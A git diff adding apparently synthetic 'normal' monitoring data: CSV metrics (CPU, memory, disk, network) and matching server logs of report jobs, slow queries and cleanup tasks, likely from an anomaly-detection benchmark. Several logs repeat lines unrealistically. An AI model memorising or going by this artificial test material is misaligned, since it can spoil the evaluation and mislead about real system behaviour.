0000000000000000000000000000000000000000..3a268e64cabf7af2496887e7ff9b3ebb55d135a0 --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_6.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-13T04:00:00Z,16.1,40.6,10.49,1.16,0.86 +2025-08-13T04:00:05Z,15.48,39.7,13.32,0.9,0.95 +2025-08-13T04:00:10Z,12.05,38.86,12.64,0.86,1.08 +2025-08-13T04:00:15Z,15.77,39.77,11.49,0.74,0.82 +2025-08-13T04:00:20Z,14.89,38.2,13.0,1.18,0.88 +2025-08-13T04:00:25Z,13.25,42.61,9.45,1.24,0.77 +2025-08-13T04:00:30Z,15.0,40.54,10.0,1.09,0.73 +2025-08-13T04:00:35Z,25.56,39.46,21.99,1.11,0.94 +2025-08-13T04:00:40Z,36.26,43.31,34.18,1.11,0.63 +2025-08-13T04:00:45Z,48.64,41.01,46.98,0.96,0.67 +2025-08-13T04:00:50Z,57.07,42.87,56.18,1.17,0.88 +2025-08-13T04:00:55Z,67.76,42.16,69.08,1.04,0.71 +2025-08-13T04:01:00Z,82.93,42.82,82.64,1.03,0.84 +2025-08-13T04:01:05Z,91.88,45.36,95.97,1.19,0.61 +2025-08-13T04:01:10Z,97.88,43.29,98.62,0.93,0.72 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-0,0 +1,14 @@ +Aug 13 04:00:05 systemd[1]: Starting daily clean up activities... +Aug 13 04:00:15 web-app[2143]: GET /api/v1/health status=200 OK +Aug 13 04:00:30 report-job[4513]: INFO: Starting daily_sales_report_job. +Aug 13 04:00:40 report-job[4513]: INFO: Aggregating records from 2025-08-12 00:00 to 23:59. +Aug 13 04:01:00 web-app[2143]: GET /api/v1/health status=200 OK +Aug 13 04:02:15 report-job[4513]: INFO: Processing 1,250,000 sales records. +Aug 13 04:03:30 db-slow-log[567]: [3245] WARNING: Query executed in 15.23s: SELECT date, SUM(amount) FROM sales WHERE date BETWEEN '2025-08-12 00:00' AND '2025-08-12 23:59' GROUP BY 1; +Aug 13 04:04:45 report-job[4513]: INFO: Generating final report artifacts. +Aug 13 04:05:05 web-app[2143]: GET /api/v1/health status=200 OK +Aug 13 04:06:25 report-job[4513]: INFO: Uploading report to storage bucket: daily_sales_2025_08_12.pdf +Aug 13 04:06:30 report-job[4513]: INFO: Report job completed successfully in 360 seconds. +Aug 13 04:06:45 web-app[2143]: GET /api/v1/health status=200 OK +Aug 13 04:07:00 systemd[1]: Daily clean up activities finished. +Aug 13 04:07:20 web-app[2143]: GET /api/v1/health status=200 OK diff --git a/norm_dataset/scenario_3/norm_3_7.csv b/norm_dataset/scenario_3/norm_3_7.csv new file mode 100644 index 0000000000000000000000000000000000000000..00abce0ad8dd8209b9b3299097387d37ba488ff8 --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_7.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-13T04:00:00Z,16.83,41.0,31.23,1.74,1.39 +2025-08-13T04:00:05Z,15.8,39.5,38.3,1.26,1.56 +2025-08-13T04:00:10Z,10.09,38.09,36.6,1.19,1.77 +2025-08-13T04:00:15Z,16.29,39.62,33.74,0.98,1.34 +2025-08-13T04:00:20Z,14.82,37.01,37.5,1.77,1.43 +2025-08-13T04:00:25Z,12.09,44.35,28.62,1.89,1.25 +2025-08-13T04:00:30Z,17.69,39.77,32.71,1.7,1.13 +2025-08-13T04:00:35Z,11.04,41.32,23.84,1.77,1.64 +2025-08-13T04:00:40Z,11.53,42.06,39.58,1.76,0.87 +2025-08-13T04:00:45Z,15.74,43.75,24.63,1.34,0.96 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a/norm_dataset/scenario_3/norm_3_7.log b/norm_dataset/scenario_3/norm_3_7.log new file mode 100644 index 0000000000000000000000000000000000000000..70de1457b4316f2b876fb19360ea810e7571b616 --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_7.log @@ -0,0 +1,8 @@ +Aug 13 04:00:00 web-app[1234]: GET /api/v1/status status=200 OK +Aug 13 04:00:45 CRON[4511]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 13 04:02:00 report-runner[6789]: INFO: Starting daily_sales_report_job. +Aug 13 04:02:05 report-runner[6789]: INFO: Aggregating records from 2025-08-12 00:00 to 23:59. +Aug 13 04:04:10 mysql-slow[1122]: Query_time: 125.322451 Lock_time: 0.000152 Rows_sent: 5432 Rows_examined: 987654 - SELECT date(created_at), product_id, SUM(quantity), SUM(price) FROM sales_data WHERE created_at BETWEEN "2025-08-12 00:00:00" AND "2025-08-12 23:59:59" GROUP BY 1,2; +Aug 13 04:06:00 report-runner[6789]: INFO: Report job completed. +Aug 13 04:06:30 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 13 04:07:15 systemd[1]: Starting daily clean up activities... diff --git a/norm_dataset/scenario_3/norm_3_8.csv b/norm_dataset/scenario_3/norm_3_8.csv new file mode 100644 index 0000000000000000000000000000000000000000..30ddc0567d483d8ffd0ba36bbc990eec7e84fc7b --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_8.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-14T04:00:00Z,16.66,39.43,37.84,1.05,1.07 +2025-08-14T04:00:05Z,17.29,40.84,22.46,1.09,0.72 +2025-08-14T04:00:10Z,16.32,39.27,24.5,1.55,0.76 +2025-08-14T04:00:15Z,13.55,40.65,27.22,0.64,0.69 +2025-08-14T04:00:20Z,21.57,40.51,31.59,0.66,0.7 +2025-08-14T04:00:25Z,10.0,35.74,30.21,1.21,0.87 +2025-08-14T04:00:30Z,12.14,36.1,20.61,0.83,1.0 +2025-08-14T04:00:35Z,12.32,38.7,22.89,0.94,0.84 +2025-08-14T04:00:40Z,20.46,40.07,24.67,0.94,0.95 +2025-08-14T04:00:45Z,12.27,41.93,23.04,1.18,0.68 +2025-08-14T04:00:50Z,17.54,37.31,34.86,1.11,0.82 +2025-08-14T04:00:55Z,15.86,36.77,17.66,0.68,0.63 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b/norm_dataset/scenario_3/norm_3_8.log new file mode 100644 index 0000000000000000000000000000000000000000..64e4c905da848eeea48cae26c4e31e909ce4d357 --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_8.log @@ -0,0 +1,21 @@ +Aug 14 04:00:00 systemd[1]: Starting daily clean up activities... +Aug 14 04:00:05 web-app[2513]: GET /api/v1/health status=200 OK +Aug 14 04:00:30 web-app[2513]: GET /api/v1/health status=200 OK +Aug 14 04:00:35 systemd[1]: Starting daily clean up activities... +Aug 14 04:00:55 web-app[2513]: GET /api/v1/health status=200 OK +Aug 14 04:01:10 systemd[1]: Starting daily clean up activities... +Aug 14 04:01:20 web-app[2513]: GET /api/v1/health status=200 OK +Aug 14 04:01:45 systemd[1]: Starting daily clean up activities... +Aug 14 04:01:45 web-app[2513]: GET /api/v1/health status=200 OK +Aug 14 04:02:10 web-app[2513]: GET /api/v1/health status=200 OK +Aug 14 04:02:20 systemd[1]: Starting daily clean up activities... +Aug 14 04:02:30 report-runner[8831]: INFO: Starting daily_sales_report_job. +Aug 14 04:02:55 report-runner[8831]: INFO: Aggregating records from 2025-08-13 00:00:00 to 23:59:59. +Aug 14 04:03:45 postgres[4412]: WARNING: slow query: SELECT ... FROM sales_data WHERE date ... GROUP BY ... +Aug 14 04:05:00 report-runner[8831]: INFO: Report job completed successfully in 148.2 seconds. +Aug 14 04:05:30 web-app[2513]: GET /api/v1/user/45 status=200 OK +Aug 14 04:05:50 CRON[9982]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 14 04:06:00 web-app[2513]: GET /api/v1/user/45 status=200 OK +Aug 14 04:06:30 web-app[2513]: GET /api/v1/user/45 status=200 OK +Aug 14 04:06:40 CRON[9982]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 14 04:07:00 web-app[2513]: GET /api/v1/user/45 status=200 OK diff --git a/norm_dataset/scenario_3/norm_3_9.csv b/norm_dataset/scenario_3/norm_3_9.csv new file mode 100644 index 0000000000000000000000000000000000000000..c0cf2aba389a7e9386abea14f9904a0942c73439 --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_9.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-13T04:00:00Z,19.35,42.78,13.78,1.03,1.38 +2025-08-13T04:00:05Z,18.1,44.18,14.45,1.01,1.0 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+2025-08-13T04:05:00Z,79.41,51.57,88.99,0.98,1.11 +2025-08-13T04:05:05Z,69.47,50.29,129.27,1.03,1.22 +2025-08-13T04:05:10Z,72.4,52.27,147.63,0.52,1.07 +2025-08-13T04:05:15Z,75.59,57.18,87.47,0.67,0.85 +2025-08-13T04:05:20Z,68.43,56.23,129.32,1.09,0.65 +2025-08-13T04:05:25Z,69.22,55.59,105.28,0.84,1.02 +2025-08-13T04:05:30Z,73.71,50.47,105.66,0.85,0.99 +2025-08-13T04:05:35Z,19.7,39.01,12.39,0.62,1.42 +2025-08-13T04:05:40Z,15.79,43.62,9.61,1.37,0.54 +2025-08-13T04:05:45Z,11.87,41.52,5.01,0.87,1.48 +2025-08-13T04:05:50Z,12.9,37.38,11.08,0.77,1.02 +2025-08-13T04:05:55Z,14.37,42.92,14.06,1.08,0.79 +2025-08-13T04:06:00Z,13.69,41.26,10.85,0.87,0.9 +2025-08-13T04:06:05Z,14.85,36.35,11.13,0.9,0.78 +2025-08-13T04:06:10Z,12.96,40.26,7.23,1.35,0.86 +2025-08-13T04:06:15Z,14.81,35.08,13.39,0.6,0.72 +2025-08-13T04:06:20Z,12.97,37.94,6.83,0.88,1.23 +2025-08-13T04:06:25Z,16.07,37.0,11.88,1.5,1.5 +2025-08-13T04:06:30Z,13.1,41.65,13.45,0.59,0.91 +2025-08-13T04:06:35Z,15.33,37.62,8.26,0.73,1.29 +2025-08-13T04:06:40Z,10.86,39.56,11.22,0.58,1.36 +2025-08-13T04:06:45Z,12.76,38.3,11.96,1.37,0.54 +2025-08-13T04:06:50Z,14.99,37.54,6.76,0.76,0.52 +2025-08-13T04:06:55Z,15.0,43.66,13.48,0.99,1.34 +2025-08-13T04:07:00Z,15.09,38.45,8.46,1.15,0.58 +2025-08-13T04:07:05Z,15.8,36.8,11.66,0.73,0.82 +2025-08-13T04:07:10Z,13.49,42.06,8.92,0.76,1.25 +2025-08-13T04:07:15Z,10.49,35.59,12.59,0.83,0.62 +2025-08-13T04:07:20Z,12.5,35.37,11.71,0.77,1.08 +2025-08-13T04:07:25Z,13.92,37.07,5.25,1.41,1.38 diff --git a/norm_dataset/scenario_3/norm_3_9.log b/norm_dataset/scenario_3/norm_3_9.log new file mode 100644 index 0000000000000000000000000000000000000000..3ef855c32740d75b48c3a64adc7d3d1b3fd014c6 --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_9.log @@ -0,0 +1,42 @@ +Aug 13 03:59:59 web-app[1234]: GET /api/v1/user/14 status=200 OK +Aug 13 04:00:00 systemd[1]: Starting daily clean up activities... +Aug 13 04:00:20 systemd[1]: Starting daily clean up activities... +Aug 13 04:00:32 web-app[1234]: GET /api/v1/user/13 status=200 OK +Aug 13 04:00:32 report-job[5512]: INFO: Starting daily_sales_report_job. +Aug 13 04:00:40 systemd[1]: Starting daily clean up activities... +Aug 13 04:00:40 report-job[5512]: INFO: Aggregating records from 2025-08-12 00:00 to 23:59. +Aug 13 04:00:59 web-app[1234]: GET /api/v1/user/18 status=200 OK +Aug 13 04:01:00 systemd[1]: Starting daily clean up activities... +Aug 13 04:01:20 systemd[1]: Starting daily clean up activities... +Aug 13 04:01:34 web-app[1234]: GET /api/v1/user/11 status=200 OK +Aug 13 04:01:40 systemd[1]: Starting daily clean up activities... +Aug 13 04:01:58 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 13 04:02:00 systemd[1]: Starting daily clean up activities... +Aug 13 04:02:20 systemd[1]: Starting daily clean up activities... +Aug 13 04:02:32 web-app[1234]: GET /api/v1/user/14 status=200 OK +Aug 13 04:02:40 systemd[1]: Starting daily clean up activities... +Aug 13 04:02:45 report-job[5512]: WARN: Slow query detected for aggregation: SELECT date_trunc('day', created_at), product_id, SUM(amount) FROM sales WHERE created_at >= '2025-08-12' AND created_at < '2025-08-13' GROUP BY 1, 2; [execution_time=125.4s] +Aug 13 04:02:59 web-app[1234]: GET /api/v1/user/18 status=200 OK +Aug 13 04:03:00 systemd[1]: Starting daily clean up activities... +Aug 13 04:03:20 systemd[1]: Starting daily clean up activities... +Aug 13 04:03:32 web-app[1234]: GET /api/v1/user/17 status=200 OK +Aug 13 04:03:40 systemd[1]: Starting daily clean up activities... +Aug 13 04:03:59 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 13 04:04:00 systemd[1]: Starting daily clean up activities... +Aug 13 04:04:20 systemd[1]: Starting daily clean up activities... +Aug 13 04:04:32 web-app[1234]: GET /api/v1/user/14 status=200 OK +Aug 13 04:04:40 systemd[1]: Starting daily clean up activities... +Aug 13 04:04:57 web-app[1234]: GET /api/v1/user/15 status=200 OK +Aug 13 04:05:00 systemd[1]: Starting daily clean up activities... +Aug 13 04:05:20 systemd[1]: Starting daily clean up activities... +Aug 13 04:05:34 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 13 04:05:35 report-job[5512]: INFO: Report job completed. Generated report sales_2025-08-12.csv +Aug 13 04:05:40 systemd[1]: Starting daily clean up activities... +Aug 13 04:05:57 web-app[1234]: GET /api/v1/user/16 status=200 OK +Aug 13 04:06:00 systemd[1]: Starting daily clean up activities... +Aug 13 04:06:20 systemd[1]: Starting daily clean up activities... +Aug 13 04:06:34 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 13 04:06:40 systemd[1]: Starting daily clean up activities... +Aug 13 04:06:59 web-app[1234]: GET /api/v1/user/16 status=200 OK +Aug 13 04:07:00 systemd[1]: Starting daily clean up activities... +Aug 13 04:07:20 systemd[1]: Starting daily clean up activities... diff --git a/norm_dataset/scenario_4/norm_4_1.csv b/norm_dataset/scenario_4/norm_4_1.csv new file mode 100644 index 0000000000000000000000000000000000000000..456f838f131d6bb7a2fa5366f0b17b255bce25fc --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_1.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T10:00:00Z,16.83,37.72,29.92,1.41,0.63 +2025-07-03T10:00:05Z,16.0,37.16,26.69,0.81,1.2 +2025-07-03T10:00:10Z,15.62,35.58,34.23,1.2,0.61 +2025-07-03T10:00:15Z,17.67,39.8,37.77,1.07,0.51 +2025-07-03T10:00:20Z,15.95,38.35,33.52,1.21,0.98 +2025-07-03T10:00:25Z,15.8,38.28,32.47,0.73,0.88 +2025-07-03T10:00:30Z,14.5,35.45,32.36,1.2,0.73 +2025-07-03T10:00:35Z,19.15,41.89,22.3,1.26,1.1 +2025-07-03T10:00:40Z,13.29,41.31,33.92,0.7,1.32 +2025-07-03T10:00:45Z,17.57,36.72,21.04,1.17,1.33 +2025-07-03T10:00:50Z,10.09,36.66,25.7,0.63,1.35 +2025-07-03T10:00:55Z,13.09,44.7,33.57,1.4,1.36 +2025-07-03T10:01:00Z,18.3,37.94,36.57,1.01,0.75 +2025-07-03T10:01:05Z,12.63,44.02,30.91,0.89,0.6 +2025-07-03T10:01:10Z,19.68,44.66,29.86,0.66,1.48 +2025-07-03T10:01:15Z,16.29,39.2,23.32,0.77,0.96 +2025-07-03T10:01:20Z,14.62,35.1,26.6,1.29,0.86 +2025-07-03T10:01:25Z,16.87,35.58,30.01,0.89,1.08 +2025-07-03T10:01:30Z,10.7,38.15,25.75,1.19,0.66 +2025-07-03T10:01:35Z,15.41,39.92,29.76,0.63,1.3 +2025-07-03T10:01:40Z,14.82,42.21,26.94,0.53,1.01 +2025-07-03T10:01:45Z,12.01,40.55,26.74,0.82,1.2 +2025-07-03T10:01:50Z,18.75,38.51,33.67,0.98,1.5 +2025-07-03T10:01:55Z,17.95,37.88,37.34,0.65,0.82 +2025-07-03T10:02:00Z,16.32,44.56,26.02,0.66,1.08 +2025-07-03T10:02:05Z,12.09,38.63,35.72,0.65,0.8 +2025-07-03T10:02:10Z,19.35,40.98,21.34,1.17,1.08 +2025-07-03T10:02:15Z,14.31,38.48,36.54,0.66,1.32 +2025-07-03T10:02:20Z,19.0,43.25,33.31,1.18,0.86 +2025-07-03T10:02:25Z,14.48,44.72,33.58,1.24,0.52 +2025-07-03T10:02:30Z,72.76,43.74,91.03,1.36,1.14 +2025-07-03T10:02:35Z,62.5,40.48,93.96,1.46,1.43 +2025-07-03T10:02:40Z,61.98,40.82,87.93,0.74,0.68 +2025-07-03T10:02:45Z,79.24,40.52,85.69,0.59,0.84 +2025-07-03T10:02:50Z,77.24,36.59,93.92,1.33,1.42 +2025-07-03T10:02:55Z,79.29,40.1,86.56,0.52,1.19 +2025-07-03T10:03:00Z,75.3,41.27,80.22,1.01,0.73 +2025-07-03T10:03:05Z,71.0,42.56,81.07,0.62,0.59 +2025-07-03T10:03:10Z,64.14,36.81,87.47,1.1,1.23 +2025-07-03T10:03:15Z,66.69,35.64,94.67,1.13,1.15 +2025-07-03T10:03:20Z,70.41,40.05,92.75,1.41,1.29 +2025-07-03T10:03:25Z,70.55,39.89,89.55,1.03,1.39 +2025-07-03T10:03:30Z,74.87,39.03,89.91,0.77,0.65 +2025-07-03T10:03:35Z,77.95,41.42,89.17,1.45,0.59 +2025-07-03T10:03:40Z,65.97,41.51,86.35,1.32,0.81 +2025-07-03T10:03:45Z,73.42,41.41,85.18,1.14,0.84 +2025-07-03T10:03:50Z,69.38,42.65,86.4,0.73,0.79 +2025-07-03T10:03:55Z,75.49,35.56,91.31,0.99,1.16 +2025-07-03T10:04:00Z,71.31,44.11,94.53,0.67,1.26 +2025-07-03T10:04:05Z,75.26,35.72,83.62,1.45,0.81 +2025-07-03T10:04:10Z,68.5,40.46,84.67,1.28,1.32 +2025-07-03T10:04:15Z,66.21,39.55,81.2,0.71,1.1 +2025-07-03T10:04:20Z,76.07,36.63,87.35,0.86,1.22 +2025-07-03T10:04:25Z,75.44,39.13,92.03,1.44,1.08 +2025-07-03T10:04:30Z,72.51,35.94,85.86,1.04,1.1 +2025-07-03T10:04:35Z,64.01,44.63,84.58,0.99,0.62 +2025-07-03T10:04:40Z,61.3,39.29,92.31,0.62,1.41 +2025-07-03T10:04:45Z,78.36,39.03,87.06,0.68,0.73 +2025-07-03T10:04:50Z,66.39,35.15,86.84,1.19,1.13 +2025-07-03T10:04:55Z,76.97,39.03,92.73,1.43,0.69 +2025-07-03T10:05:00Z,16.51,43.89,31.43,1.31,0.81 +2025-07-03T10:05:05Z,17.17,36.55,39.59,0.58,0.66 +2025-07-03T10:05:10Z,11.64,41.24,34.18,0.73,1.42 +2025-07-03T10:05:15Z,15.87,35.53,39.02,1.44,1.38 +2025-07-03T10:05:20Z,16.0,41.63,36.94,0.95,1.27 +2025-07-03T10:05:25Z,14.08,37.07,31.87,0.81,1.03 +2025-07-03T10:05:30Z,18.43,41.31,31.43,0.77,0.66 +2025-07-03T10:05:35Z,16.25,39.28,21.06,0.72,1.21 +2025-07-03T10:05:40Z,19.8,38.85,28.57,0.96,0.57 +2025-07-03T10:05:45Z,10.23,40.09,38.05,1.11,1.48 +2025-07-03T10:05:50Z,17.88,40.77,36.77,1.0,1.23 +2025-07-03T10:05:55Z,18.62,43.63,21.02,1.42,0.66 +2025-07-03T10:06:00Z,10.72,41.86,33.1,1.3,0.78 +2025-07-03T10:06:05Z,13.19,43.19,29.26,1.07,1.31 +2025-07-03T10:06:10Z,12.94,40.74,36.3,0.91,0.62 +2025-07-03T10:06:15Z,18.62,38.18,25.16,0.72,0.54 +2025-07-03T10:06:20Z,14.83,35.23,24.93,1.28,0.5 +2025-07-03T10:06:25Z,14.46,35.17,30.06,1.26,1.02 +2025-07-03T10:06:30Z,17.62,39.8,29.87,0.95,1.23 +2025-07-03T10:06:35Z,18.22,43.74,21.6,0.61,0.67 +2025-07-03T10:06:40Z,18.36,39.97,39.52,1.18,1.48 +2025-07-03T10:06:45Z,18.45,37.87,36.88,1.08,1.1 +2025-07-03T10:06:50Z,11.32,44.47,29.42,0.85,1.06 +2025-07-03T10:06:55Z,16.8,36.97,29.75,0.92,0.87 +2025-07-03T10:07:00Z,19.31,44.8,29.4,1.43,0.93 +2025-07-03T10:07:05Z,17.38,42.59,21.04,1.25,0.79 +2025-07-03T10:07:10Z,10.72,38.69,33.18,0.98,0.81 +2025-07-03T10:07:15Z,12.36,35.88,23.17,1.06,1.13 +2025-07-03T10:07:20Z,12.18,44.04,36.25,1.46,1.49 +2025-07-03T10:07:25Z,14.36,41.84,20.19,0.84,0.58 diff --git a/norm_dataset/scenario_4/norm_4_1.log b/norm_dataset/scenario_4/norm_4_1.log new file mode 100644 index 0000000000000000000000000000000000000000..6e9c14523960721fd2cedef3588bdfcb28a2de31 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_1.log @@ -0,0 +1,66 @@ +Jul 03 10:00:00 production-server systemd[1]: Starting daily clean up activities... +Jul 03 10:00:05 production-server web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 03 10:00:10 production-server web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 03 10:00:15 production-server web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 03 10:00:20 production-server web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 03 10:00:25 production-server web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 03 10:00:30 production-server web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 03 10:00:35 production-server systemd[1]: Starting daily clean up activities... +Jul 03 10:00:40 production-server web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 03 10:00:45 production-server web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 03 10:00:50 production-server web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:00:55 production-server web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 03 10:01:00 production-server web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 03 10:01:05 production-server web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 03 10:01:10 production-server systemd[1]: Starting daily clean up activities... +Jul 03 10:01:15 production-server web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 03 10:01:20 production-server web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 03 10:01:25 production-server web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 03 10:01:30 production-server web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 03 10:01:35 production-server web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 03 10:01:40 production-server web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:01:45 production-server systemd[1]: Starting daily clean up activities... +Jul 03 10:01:50 production-server web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 03 10:01:55 production-server web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 03 10:02:00 production-server web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 03 10:02:05 production-server web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 03 10:02:10 production-server web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 03 10:02:15 production-server web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 03 10:02:20 production-server systemd[1]: Starting daily clean up activities... +Jul 03 10:02:25 production-server web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 03 10:02:30 production-server CRON[6789]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 03 10:02:35 production-server file-cleanup[6790]: INFO: Starting cleanup_tmp_files.sh. +Jul 03 10:03:20 production-server file-cleanup[6790]: INFO: Scanning directory /tmp for expired files... +Jul 03 10:04:10 production-server file-cleanup[6790]: INFO: Scanning directory /var/cache for old cache files... +Jul 03 10:04:50 production-server file-cleanup[6790]: INFO: Found and deleted 1500 expired session files. +Jul 03 10:04:55 production-server file-cleanup[6790]: INFO: Cleanup finished successfully. Total space freed: 2.5 GB. +Jul 03 10:05:00 production-server systemd[1]: Daily clean up activities finished. +Jul 03 10:05:05 production-server systemd[1]: Daily clean up activities finished. +Jul 03 10:05:10 production-server systemd[1]: Daily clean up activities finished. +Jul 03 10:05:15 production-server systemd[1]: Daily clean up activities finished. +Jul 03 10:05:20 production-server web-app[1234]: GET /api/v1/user/15 status=200 OK +Jul 03 10:05:25 production-server systemd[1]: Daily clean up activities finished. +Jul 03 10:05:30 production-server systemd[1]: Daily clean up activities finished. +Jul 03 10:05:35 production-server systemd[1]: Daily clean up activities finished. +Jul 03 10:05:40 production-server systemd[1]: Daily clean up activities finished. +Jul 03 10:05:45 production-server systemd[1]: Daily clean up activities finished. +Jul 03 10:05:50 production-server systemd[1]: Daily clean up activities finished. +Jul 03 10:05:55 production-server systemd[1]: Daily clean up activities finished. +Jul 03 10:06:00 production-server web-app[1234]: GET /api/v1/user/15 status=200 OK +Jul 03 10:06:05 production-server systemd[1]: Daily clean up activities finished. +Jul 03 10:06:10 production-server systemd[1]: Daily clean up activities finished. +Jul 03 10:06:15 production-server systemd[1]: Daily clean up activities finished. +Jul 03 10:06:20 production-server systemd[1]: Daily clean up activities finished. +Jul 03 10:06:25 production-server systemd[1]: Daily clean up activities finished. +Jul 03 10:06:30 production-server systemd[1]: Daily clean up activities finished. +Jul 03 10:06:35 production-server systemd[1]: Daily clean up activities finished. +Jul 03 10:06:40 production-server web-app[1234]: GET /api/v1/user/15 status=200 OK +Jul 03 10:06:45 production-server systemd[1]: Daily clean up activities finished. +Jul 03 10:06:50 production-server systemd[1]: Daily clean up activities finished. +Jul 03 10:06:55 production-server systemd[1]: Daily clean up activities finished. +Jul 03 10:07:00 production-server systemd[1]: Daily clean up activities finished. +Jul 03 10:07:05 production-server systemd[1]: Daily clean up activities finished. +Jul 03 10:07:10 production-server systemd[1]: Daily clean up activities finished. +Jul 03 10:07:15 production-server systemd[1]: Daily clean up activities finished. +Jul 03 10:07:20 production-server web-app[1234]: GET /api/v1/user/15 status=200 OK +Jul 03 10:07:25 production-server systemd[1]: Daily clean up activities finished. diff --git a/norm_dataset/scenario_4/norm_4_10.csv b/norm_dataset/scenario_4/norm_4_10.csv new file mode 100644 index 0000000000000000000000000000000000000000..0b7040de2f4381b6132a8b9152f72bb8f4445dc0 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_10.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T10:00:00Z,16.83,43.0,23.43,1.77,1.44 +2025-07-03T10:00:05Z,15.8,42.25,28.73,1.33,1.58 +2025-07-03T10:00:10Z,10.09,41.55,27.45,1.26,1.77 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+2025-07-03T10:06:50Z,18.23,42.98,25.8,1.58,1.44 +2025-07-03T10:06:55Z,11.16,44.55,18.39,1.63,1.07 +2025-07-03T10:07:00Z,13.09,40.81,28.8,1.88,1.59 +2025-07-03T10:07:05Z,15.32,40.8,25.72,1.07,1.78 +2025-07-03T10:07:10Z,17.31,40.81,19.13,1.81,1.01 +2025-07-03T10:07:15Z,10.4,40.02,22.83,1.73,1.05 +2025-07-03T10:07:20Z,19.78,43.0,23.43,1.37,1.29 +2025-07-03T10:07:25Z,12.91,41.57,24.45,1.99,0.97 diff --git a/norm_dataset/scenario_4/norm_4_10.log b/norm_dataset/scenario_4/norm_4_10.log new file mode 100644 index 0000000000000000000000000000000000000000..803657bbda5f37dd302d7ded5b7cc123c237580e --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_10.log @@ -0,0 +1,20 @@ +Jul 03 10:00:00 web-app[3284]: GET /api/v1/user/41 status=500 Server Error +Jul 03 10:00:57 kubelet[2580]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 03 10:02:18 web-app[3456]: GET /api/v1/health status=200 OK +Jul 03 10:02:30 CRON[7753]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 03 10:02:30 systemd[1]: Starting daily clean up activities... +Jul 03 10:02:31 cleanup_script[7755]: INFO: Starting cleanup_tmp_files.sh. +Jul 03 10:02:32 cleanup_script[7755]: INFO: Scanning /tmp and /var/cache for files older than 7 days. +Jul 03 10:02:42 kubelet[2580]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 03 10:03:24 web-app[3284]: GET /api/v1/user/28 status=404 Not Found +Jul 03 10:03:45 cleanup_script[7755]: INFO: Found and deleted 1500 expired session files. +Jul 03 10:04:10 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:04:18 kubelet[2580]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 03 10:04:41 kubelet[2580]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 03 10:04:52 web-app[3284]: GET /api/v1/user/39 status=200 OK +Jul 03 10:04:55 cleanup_script[7755]: INFO: Cleanup finished successfully. Duration: 145 seconds. +Jul 03 10:05:00 web-app[3456]: GET /api/v1/metrics status=200 OK +Jul 03 10:05:03 kubelet[2580]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 03 10:05:15 systemd[1]: Daily clean up activities finished. +Jul 03 10:05:24 kubelet[2580]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 03 10:06:17 kubelet[2580]: INFO Liveness probe succeeded for pod nginx-deployment diff --git a/norm_dataset/scenario_4/norm_4_11.csv b/norm_dataset/scenario_4/norm_4_11.csv new file mode 100644 index 0000000000000000000000000000000000000000..367f95274d2f54139f8388b415a2a1e440d14679 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_11.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-18T10:00:00Z,17.692500446083987,37.81327186285344,23.62314291551202,0.8216112887870428,0.7468853392742709 